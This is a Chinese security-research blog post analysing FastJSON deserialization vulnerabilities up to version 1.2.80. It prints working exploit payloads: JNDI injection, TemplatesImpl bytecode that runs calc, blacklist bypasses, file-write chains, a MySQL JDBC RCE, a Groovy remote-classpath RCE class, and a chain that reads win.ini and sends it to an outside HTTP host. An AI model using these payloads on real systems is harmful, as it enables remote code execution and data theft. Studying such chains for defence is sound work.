周其仁:停止改革,我们将面临三大麻烦

抛开立场观点不谈,且看周小平写一句话能犯多少语病

罗马尼亚的声明:小事件隐藏着大趋势——黑暗中的风:坚持做对的事相信未来的结果

布林肯突访乌克兰,为何选择去吃麦当劳?

中国不再是美国第一大进口国,贸易战殃及纺织业? 美国进一步延长352项中国商品的关税豁免期

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

FastJSON(全系漏洞分析-截至2023/03/25)

ZeanHike 珠天PearlSky 2023-05-06

FastJSON(全系漏洞分析-截至2023/03/25)

前言

FastJSON也不是什么新奇玩意了,之前都是看别的师傅的分析文章,也没有自己手动调试过,纸上学来终觉浅;这次决定自己手动调试一下,跟踪一下各个利用链以及原理;

全文一共7407个字,建议慢慢看;

截至到目前,FastJSON>=1.2.83还未有新的漏洞,所以我的分析聚集在1.2.80及以下;

使用的POC来自:https://github.com/safe6Sec/ShiroAndFastJson

概述

FastJSON可以使用@type属性将JSON字符串转化为指定的类,例如

{
    "@type":"com.zeanhike.User",
    "name":"zhangsan",
    "age":18
}
//在JSON字符串中已指定@type属性
JSON.parse(s1) //获得User类型的对象
JSON.parseObject(s1)  //获得JSONObject类型的对象
JSON.parseObject(s1,Object.class) //获得User类型的对象

当JSON字符串转换成对象时,如果setter方法满足如下条件,会调用setter方法为对象的属性赋值

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

当不满足如上条件之一时,但是getter方法满足如下条件时,会调用getter方法

  • 方法名长度大于4

  • 非静态方法

  • 以get开头且第四个字母为大写

  • 无参数传入

  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

  • 此属性没有setter方法

image-20230317115819095

使用ASM动态生成一个专门的类为属性赋值

image-20230317120124488

Fastjson还有以下功能点:

  1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
  3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

fastjson<=1.2.24

com.sun.rowset.JdbcRowSetImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.rowset.JdbcRowSetImpl

payload:

{
 "@type""com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName""rmi://127.0.0.1:1097/Object",
 "autoCommit"true
}

先调用setDataSourceName为父类BaseRowSet的dataSource属性赋值

image-20230317162601375

image-20230317162806198

然后调用setAutoCommit为autoCommit赋值

image-20230317162907578

在赋值过程中,调用了connect方法

image-20230317163012929

在connect方法中获取dataSourceName属性的值,进行lookup,造成JNDI注入

image-20230317163301064

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

会先为TemplatesImpl对象的属性进行赋值,由于这些属性都没有setter方法,但是开启了Feature.SupportNonPublicField特性,就可以成功赋值而不需要setter方法,由于_outputProperties这个属性有getter方法,且满足之前说的特性,所以当设置完所有属性的值后,会调用它的getter方法,也就是getOutputProperties

image-20230319142716204

跟进newTransformer()

image-20230319142840293

跟进getTransletInstancew()

image-20230319143042245

_name不为空且_class为空,才会进入defineTransletClasses()

image-20230319143243137

在defineTransletClasses()方法中,首先_tfactory属性不能为空,否则会造成空指针异常,同时在后面将二维数组_bytecode属性转化为Class对象,同时存入一维数组_class属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然这个索引不会更新当前位置

然后回到getTransletInstance()方法

image-20230319143647787

这里根据_class属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE

1.2.25<=fastjson<=1.2.41

在1.2.25版本及以上,在ParserConfig中新增了黑白名单,同时存在一个autoTypeSupport属性用来设置是否支持反序列化,同时多了个checkAutoType方法用来检测非法操作;

在DefaultJSONParser中的parseObject方法中,调用了ParserConfig的checkAutoType进行校验并加载类

image-20230319151925906

在ParserConfig的checkAutoType方法中传入我们指定的类

image-20230319152329345

这里会判断autoTypeSupport属性的值,所以我们看看默认的autoTypeSupport属性的值

由于在new一个ParserConfig时,会设置autoTypeSupport属性还有denyList(黑名单)、acceptList(白名单)

image-20230319152442045

而这里autoTypeSupport被赋值成AUTO_SUPPORT

image-20230319153255966

而AUTO_SUPPORT在类实例化时,默认为false

这里会到checkAutoType方法

image-20230319152329345

image-20230319160335887
image-20230319165752685

传递的两个参数,第一个为反序列化的类,第二个为null

然后进行如下操作:

  1. autoTypeSupport为false,从缓存中找是否有该类的Class,找不到再从Map中找到该类的ObjectDeserializer
  2. 然后进行黑白名单匹配
  3. 最后抛出JSONException异常,autoType is not support.~

若是autoTypeSupport属性为true,进行如下操作:

  1. 进行黑白名单匹配
  2. 从缓存中找是否有该类的Class,找不到再从Map中找到该类的ObjectDeserializer
  3. 然后调用TypeUtils.loadClass(typeName, this.defaultClassLoader);加载这个类

这里进入TypeUtils.loadClass(typeName, this.defaultClassLoader)

image-20230319170432225

这里如果className是以[开头或者L开头;结尾,就会截取中间部分,去除这些符号

所以这里可以绕过黑白名单限制,当设置了autoTypeSupport属性为true时,我们可以往@type指定的类前面加[或者L开头;结尾进行黑白名单绕过

fastjson=1.2.42

1.2.42版本将黑名单变成hashcode

image-20230319171720271

而在checkAutoType中

image-20230319172133927

会对L开头;结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)加载类

这里双写L和;即可绕过

fastjson=1.2.43

同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[绕过

image-20230319181504277

payload比较特别:

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"rmi://127.0.0.1:1097/Object",
    "autoCommit":true
}
@type后紧跟[代表数组,以{开头表示数组中的一个元素,多少个{表示数组有多少个元素,例如:
{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"rmi://127.0.0.1:1097/Object",
    "autoCommit":true,{xxx,{xxx
}

1.2.44<=fastjson<=1.2.45

在1.2.44中修改[符号产生的绕过

不过依然可以使用黑名单不存在的类进行绕过

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

这个需要依赖mybatis框架

    <dependency>
      <groupId>org.mybatis</groupId>
      <artifactId>mybatis</artifactId>
      <version>3.5.11</version>
    </dependency>

fastjson<=1.2.47

可以在不开启autoTypeSupport且绕过黑白名单的情况下进行RCE,在checkAutoType方法中,若没有开启autoTypeSupport则会走到这里

image-20230319184729891

从两个地方取,如果取的到就返回

image-20230319184756481

这里可以通过往TypeUtils的缓存中存入我们的类

image-20230319214933555

而在TypeUtils中的loadClass可以存入缓存,而在MiscCodec的deserialze中会调用TypeUtils中的loadClass进行类加载并存入缓存

image-20230319215048163

这里重点是strVal,strVal是我们存入的缓存类,然后往上翻

image-20230319215422887

strVal来源于objVal,objVal来源于parser.parse,同时这里有个细节就是lexer.stringVal解析到的JSON键必须为val不然会抛出错误,然后parser.parse就是拿到JSON的值,所以可以指定键为val,值为com.sun.rowset.JdbcRowSetImpl,这样就会将com.sun.rowset.JdbcRowSetImpl加入缓存中

所以什么时候会调用MiscCodec的deserialze方法呢?

在DefaultJSONParser的parseObject会调用

image-20230319221002297

这里根据clazz从ParserConfig中取deserializer

ParserConfig中有一个deserializers属性,专门用来存deserializer

image-20230319221113817

在ParserConfig的initDeserializers会初始化这个属性,往里面存一些Class和对应的deserializer

image-20230319221304293

这里会存入MiscCodec,它对应Class类型

image-20230319221345590

所以回到DefaultJSONParser的parseObject中

image-20230319221002297

当clazz为Class时,会获取Class对应的deserializer,也就是MiscCodec,调用它的deserialize方法,这个clazz可以通过@type进行设定

最后的payload如下

{
    {
        "@type""java.lang.Class",
        "val""com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type""com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName""rmi://127.0.0.1:1097/Object",
        "autoCommit"true
    }
}

这里传递的JSON字符串存在两个对象,第一个对象用来将指定类存入缓存中,第二个对象用来触发JNDI注入

1.2.48<=fastjson<=1.2.68

在MiscCodec的deserialze中将cache设置成false,不允许存入缓存

image-20230320094837158

但是也产生了新型绕过

在ParserConfig的checkAutoType中,利用expectClass绕过

这里看看

image-20230320141109164

首先expectClass不能为null,且不能等于Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection,才会将expectClassFlag设置成true

image-20230320141449066

其次,在未开启autoTypeSupport的情况下,会匹配黑白名单,所以不能跟黑名单里的类相同

image-20230320142010507

expectClassFlag为true后,会根据typeName使用TypeUtils的loadClass去加载类,后面若clazz是expectClass的子类就放入huan'c返回

image-20230320142238559

也就是说这里typeName要为expectClass的子类,才能绕过checkAutoType的检测,同时绕过autoTypeSupport的限制

而只有两处地方,会调用checkAutoType且传递expectClass参数

image-20230320142810418

一个在ThrowableDeserializer的deserialize中

image-20230320143004616

另一个在JavaBeanDeserializer的deserialize中

先看ThrowableDeserializer的deserialize,在checkAutoType调用完后并返回class后

image-20230320143151810

在下面会直接创建实例

而在JavaBeanDeserializer的deserialize中

image-20230320143357189

调用完checkAutoType得到userType后,会获取userType对应的deserializer,然后调用deserialize方法,触发userType的反序列化,执行setter或getter方法

image-20230320144417368

网上公开的poc:

这个使用了JavaBeanDeserializer那条链,但是我在jdk8下复现失败

image-20230320150920343

这是因为fastjson在通过带参构造函数进行反序列化时,会检查参数是否有参数名信息,只有含有参数名信息的带参构造函数才会被认可

img

而我用的Windows下,Oracle JDK8的MarshalOutputStream类,不含有LocalVariableTable

由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而很多第三方库里的字节码是有 LocalVariableTable 的。

浅蓝发的1.2.68利用第三方gadget写文件

{
    "stream": {
        "@type""java.lang.AutoCloseable",
        "@type""org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath""d:/test/pwn.txt",
        "tempPath""d:/test/test.txt"
    },
    "writer": {
        "@type""java.lang.AutoCloseable",
        "@type""com.esotericsoftware.kryo.io.Output",
        "buffer""YjF1M3I=",
        "outputStream": {
            "$ref""$.stream"
        },
        "position"5
    },
    "close": {
        "@type""java.lang.AutoCloseable",
        "@type""com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref""$.writer"
        }
    }
}

依赖的jar包有点多

    <dependency>
      <groupId>org.aspectj</groupId>
      <artifactId>aspectjtools</artifactId>
      <version>1.9.5</version>
    </dependency>
    <dependency>
      <groupId>com.esotericsoftware</groupId>
      <artifactId>kryo</artifactId>
      <version>4.0.0</version>
    </dependency>
    <dependency>
      <groupId>com.sleepycat</groupId>
      <artifactId>je</artifactId>
      <version>5.0.73</version>
    </dependency>

这里有个细节,就是在一些属性下使用了ref,值为$.stream,代表为outputStream属性赋值为stream对象;

首先调用SafeFileOutputStream的带参构造函数,然后调用Output的无参构造函数,使用setter为属性赋值,最后调用SerialOutput的构造函数

image-20230320183429036

这里的out为Output,进入super中

image-20230320183642290

包装out成BlockDataOutputStream,然后调用setBlockDataMode

image-20230320183725191

然后调用drain

image-20230320183757318

进行数据写入

image-20230320183833865

继续传递

image-20230320183857315

写完数据调用require方法

image-20230320183945436

进入this.flush()

image-20230320184050810

调用SafeFileOutputStream进行写,此时才是真正写到文件,写完调用flush关闭

MarshalOutputStream进行文件读写跟这个调用链差不多

使用commons-io库

这也是使用了JavaBeanDeserializer那条链


{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file""/tmp/pwned",
        "encoding""UTF-8",
        "append"false
      },
      "charsetName""UTF-8",
      "bufferSize"1024,
      "writeImmediately"true
    },
    "closeBranch":true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
}

层层包装,使用TeeInputStream作为连接输入流和输出流的桥梁

大致过程就是:

  1. XmlStreamReader的构造函数触发read,然后用TeeInputStream进行read,TeeInputStream又用ReaderInputStream进行read,ReaderInputStream又用CharSequenceReader从字符序列中进行read
  2. 在TeeInputStream中的read方法中,read完之后会调用write进行写入,也就是调用WriterOutputStream进行write,WriterOutputStream又用FileWriterWithEncoding进行write

流程图如下:

image-20230321103534302

image-20230321103606777

image-20230321103626730

image-20230321103738928

循环读取

image-20230321103835207

image-20230321103900619

image-20230321103953821

image-20230321104033736

image-20230321104209689

从字节序列中取,然后返回

返回到TeeInputStream的read方法中,然后进行write

image-20230321103835207

image-20230321104535884

image-20230321104600491

image-20230321104613329

image-20230321104909502

然后进行文件写入

这里面有两个个细节:

  1. "charSequence":{"@type":"java.lang.String""aaaaaa"}对于这种畸形JSON,仍然能解析
  2. 执行该POC后虽然文件能创建但是无法写入

因为我懒,直接贴原作者的图进行解释

原文链接Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析(以下部分为引用)


当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里

sun.nio.cs.StreamEncoder#implWrite

图片

问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?

可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:

图片

也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:

图片

因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。


可以使用$ref引用同一个对象进行循环写入

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"D:/tmp/pwned",
        "encoding":"UTF-8",
        "append"false
      },
      "charsetName":"UTF-8",
      "bufferSize"1024,
      "writeImmediately"true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch"true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

XmlStreamReader在构造器方法会触发doRawStream()方法,在doRawStream()方法中触发getBOMCharsetName(),在getBOMCharsetName()中触发getBOM(),getBOM()触发TeeInputStream的read()方法,此时TeeInputStream为同一个对象(因为引用了上一个对象),就可以达循环读写。

该思路引导了很多人使用该库进行其他方式的利用

{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.input.BOMInputStream",
 "delegate":{
   "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
   "@type""org.apache.commons.codec.binary.Base64InputStream",
   "in":{
    "@type":"org.apache.commons.io.input.CharSequenceInputStream",
    "charset":"utf-8",
    "bufferSize"1024,
    "s":{"@type":"java.lang.String""input your content"
    },
    "doEncode":false,
    "lineLength":1024,
    "lineSeparator":"5ZWKCg==",
    "decodingPolicy":0
   },
  "branch":{
   "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
   "targetPath":"./1.txt"
  },
  "closeBranch":true
 },
 "include":true,
 "boms":[{
  "@type""org.apache.commons.io.ByteOrderMark",
  "charsetName""UTF-8",
  "bytes":"input your bytes"             
    }],
 "x":{
        "$ref":"$.bom"
    }
}

这个很巧妙使用了.bom`获取根对象的bom属性,根对象为BOMInputStream

这可以循环调用,例如:

获取班级下的学生的姓名
new Classes().getStudent().getName()
假设根对象为班级,对应JSONPath为
$.student.name

JSONPath会进行分段,段有很多类型

image-20230321122125728

这里对应的是属性段PropertySegment,将$.student.name分成两个PropertySegment对象,一个是代表student属性的PropertySegment对象,第二个是代表name属性的PropertySegment对象;然后会遍历每个段调用eval方法



image-20230321122553033

获取属性值,会调用该属性的getter方法

所以$.bom会调用getBOM()方法触发利用链进行读取

还有使用Mysql进行SSRF和反序列化漏洞攻击的

使用mysql-connector-java库

SSRF没太大用,这里不说,利用反序列化漏洞可以RCE,但是需要依赖对应java应用程序需要有相关的链

Mysql JDBC反序列化攻击

当我们控制了连接数据库的字符串时,我们可以伪造一个数据库,将需要反序列化的恶意对象存储在BLOB类型的字段中,当客户端获取该BLOB类型的数据时会自动反序列化造成RCE

github上有fake mysql server配合该poc进行RCE

//<=1.2.68 and mysql 8.0.19可反序列化 >8.0.19可SSRF
{
 "@type""java.lang.AutoCloseable",
 "@type""com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
 "proxy": {
  "@type""com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
  "connectionUrl": {
   "@type""com.mysql.cj.conf.url.ReplicationConnectionUrl",
   "masters": [{
    "host"""
   }],
   "slaves": [],
   "properties": {
    "host""127.0.0.1",
    "user""yso_CommonsCollections4_calc",
    "dbname""dbname",
    "password""pass",
    "queryInterceptors""com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
    "autoDeserialize""true"
   }
  }
 }
}

类似的还有PostgreSQL JDBC RCE

SafeMode

在1.2.68存在safemode

image-20230321160314550

默认为关闭,只要开启会直接抛出异常,不解析@type指定的JSON字符串

1.2.80<=fastjson<=1.2.69

在1.2.69中

在ParserConfig的checkAutoType中,若expectClass为AutoCloseable,则设置expectClassFlag为false,导致AutoCloseable为首的利用链都无法使用

image-20230321171426139

加的这三个expectHash为java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable

image-20230320144417368

虽然JavaBeanDeserializer这条路走不通,但是仍然可以走ThrowableDeserializer这条路

使用groovy库

这个适用于1.2.76~1.2.80,为啥1.2.76以下不适用呢?后面会说

网上的payload是:

//两次parse
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}
{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://127.0.0.1:8080/"
    }
}

之前说过为Exception的子类可以绕过checkAutoType(),然后调用createException()创建实例

ThrowableDeserializer.deserialize()

image-20230322111828506

绕过checkAutoType(),并设置exClass为CompilationFailedException

但是重点在CompilationFailedException的unit属性中,在第二次扫描符号时,扫描到unit属性

image-20230322111948411

然后将key和parser.parser()放进otherValues,key为unit,parser.parse()解析JSON字符串的unit属性的值,指定为空,所以这里为空

image-20230322112649395

但是由于CompilationFailedException的构造函数不符合条件,所以无法创建实例,ex为null,只能创建Exception()实例并赋值给ex

image-20230322112503788

otherValues不为null,获取unit属性的deserializer,判断unit的Class不是value的实例的话,调用TypeUtils.cast()方法,然后传递unit属性的类型,unit属性为ProcessingUnit类

image-20230322113511151

cast又调用cast,套娃

image-20230322113721056

cast方法里又调用castToJavaBean

image-20230322113918222

在castToJavaBean方法里,调用getDeserializer获取ProcessingUnit类的deserializer

image-20230322115224174

然后调用getDeserializer的重载,套娃

image-20230322115330816

然后在getDeserializer方法的重载里,创建了ProcessingUnit类型的deserializer,然后调用putDeserializer

image-20230322115629571

在putDeserializer方法里,将ProcessingUnit类型的deserializer放进了ParserConfig的deserializers属性中,这是后面绕过checkAutoType()的关键

image-20230322115824231

然后一路返回deserializer

image-20230322114023809

不符合条件创建实例失败,返回null

image-20230322114548055

然后setValue

第一次POC触发,将ProcessingUnit类型的deserializer放进了ParserConfig的deserializers中

在第二次POC触发中,

image-20230322120442836

检测@type属性的类时,调用checkAutoType方法

image-20230322120548182

由于已将ProcessingUnit类的deserializer放进了缓存中,所以这里可以找到clazz,绕过了checkAutoType的限制

同时第二次使用了JavaBeanDeserializer那条链,在对JavaStubCompilationUnit进行checkAutoType时,因为传入了expectClass,所以过了checkAutoType的检测

image-20230322121845124

后面创建JavaStubCompilationUnit类的deserializer,然后它的调用deserialze方法,后面反射调用JavaStubCompilationUnit类的构造器创建实例

image-20230322122721627

image-20230322122734434

image-20230322122751696
image-20230322122812217
image-20230322122827383
image-20230322122838953

将JSON字符串中classpathList属性的值(http://127.0.0.1:8080/)添加到classpath

继承关系:

image-20230322123120735

在CompilationUnit的构造函数中super调用完后,会调用ASTTransformationVisitor.addPhaseOperations(this)

image-20230322123233874

然后调用addGlobalTransforms

image-20230322123348521

然后调用doAddGlobalTransforms

image-20230322123435827

获取META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件中的内容,META-INF/services/org.codehaus.groovy.transform.ASTTransformation该文件的内容就是我们要执行的恶意类的类名

image-20230322123526645

image-20230322123654395

然后调用addPhaseOperationsForGlobalTransforms(),transformNames中存储了我们的恶意类

image-20230322123748383

在addPhaseOperationsForGlobalTransforms方法中,进行加载类,并实例化我们的恶意类,这个恶意类要为ASTTransformation的子类

image-20230322123918890

我的恶意类:

package org.example.groovy;

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class AK implements ASTTransformation {


    public AK() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {

    }
}

总结

第一次使用ThrowableDeserializer那条链,将Exception作为expectClass绕过checkAutoType,成功加载CompilationFailedException,然后在获取属性unit(ProcessingUnit类)的deserializer放入缓存

第二次使用JavaBeanDeserializer那条链,由于ProcessingUnit的deserializer已放入缓存,所以绕过了checkAutoType,然后调用JavaStubCompilationUnit的构造函数触发后续操作

而最最关键的TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig())方法是用来将deserializer放入缓存的,没有它就不会有第二步操作

而一开始说的为啥1.2.76以下不适用呢?因为在1.2.76版本下没有cast调用

这是1.2.76版本下的:

image-20230322124759296

对比1.2.76~80:

image-20230322124927846

文件读取

使用aspectJ库

利用aspectJ进行文件读取,一种是错误回显,另一种是dnslog(不成功)

虽然只依赖一个库,但是会由于各种限制,并不会直接将错误结果返回到前台

所以这个略过

使用aspectjtools库、ognl库以及commons-io库

依赖三个jar包

    <dependency>
      <groupId>org.aspectj</groupId>
      <artifactId>aspectjtools</artifactId>
      <version>1.9.5</version>
    </dependency>
    <dependency>
      <groupId>ognl</groupId>
      <artifactId>ognl</artifactId>
      <version>3.2.21</version>
    </dependency>
    <dependency>
      <groupId>commons-io</groupId>
      <artifactId>commons-io</artifactId>
      <version>2.2</version>
    </dependency>

这个将文件读取的结果进行http外带

poc1:

[{
  "@type""java.lang.Exception",
  "@type""org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
 },
 {
  "@type""java.lang.Class",
  "val": {
   "@type""java.lang.String" {
    "@type""java.util.Locale",
    "val": {
     "@type""com.alibaba.fastjson.JSONObject",
     {
      "@type""java.lang.String"
      "@type""org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
      "newAnnotationProcessorUnits": [{}]
     }
    }
   },
   {
    "x": {
     "@type""org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
     "@type""org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
     "fileName""aaa"
    }
   }]

poc2:

{
 "su14": {
  "@type""java.lang.Exception",
  "@type""ognl.OgnlException"
 },
 "su15": {
  "@type""java.lang.Class",
  "val": {
   "@type""com.alibaba.fastjson.JSONObject",
   {
    "@type""java.lang.String"
    "@type""ognl.OgnlException",
    "_evaluation"""
   }
  },
  "su16": {
   "@type""ognl.Evaluation",
   "node": {
    "@type""ognl.ASTMethod",
    "p": {
     "@type""ognl.OgnlParser",
     "stream": {
      "@type""org.apache.commons.io.input.BOMInputStream",
      "delegate": {
                                "@type""org.apache.commons.io.input.ReaderInputStream",
       "reader": {
        "@type""jdk.nashorn.api.scripting.URLReader",
        "url": {
         "@type""java.lang.String" {
          "@type""java.util.Locale",
          "val": {
           "@type""com.alibaba.fastjson.JSONObject",
           {
            "@type""java.lang.String"
            "@type""java.util.Locale",
            "language""http://127.0.0.1:8080/?test",
            "country": {
             "@type""java.lang.String" [{
              "@type""org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
              "fileName""C:/Windows/win.ini"
             }]

            }
           }
          },
          "charsetName""UTF-8",
          "bufferSize"1024
         },
         "boms": [{
          "@type""org.apache.commons.io.ByteOrderMark",
          "charsetName""UTF-8",
          "bytes": [
           36
          ]
         }]
        }
       }
      }
     },
     "su17": {
      "$ref""$.su16.node.p.stream"
     },
     "su18": {
      "$ref""$.su17.bOM.bytes"
     }
    }

一步步来看,首先是这个:

[{
  "@type""java.lang.Exception",
  "@type""org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
 }

利用expectClass绕过checkAutoType检测,并将SourceTypeCollisionException类进行缓存,以便绕过对SourceTypeCollisionException类的checkAutoType的检测

{
  "@type""java.lang.Class",
  "val": {
   "@type""java.lang.String" {
    "@type""java.util.Locale",
    "val": {
     "@type""com.alibaba.fastjson.JSONObject",
     {
      "@type""java.lang.String"
      "@type""org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
      "newAnnotationProcessorUnits": [{}]
     }
    }
   },

这一步会调用ParserConfig.getDeserializer为newAnnotationProcessorUnits所在的类ICompilationUnit创建deserializer并放入缓存,以便绕过对ICompilationUnit类的checkAutoType的检测

{
    "x": {
     "@type""org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
     "@type""org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
     "fileName""aaa"
    }
   }]

这里同样利用expectClass绕过checkAutoType并将BasicCompilationUnit类进行缓存,以便绕过对BasicCompilationUnit类的checkAutoType的检测

然后是poc2

{"su14": {
  "@type""java.lang.Exception",
  "@type""ognl.OgnlException"
 },

对OgnlException进行缓存,以便绕过对OgnlException类的checkAutoType的检测

"su15": {
  "@type""java.lang.Class",
  "val": {
   "@type""com.alibaba.fastjson.JSONObject",
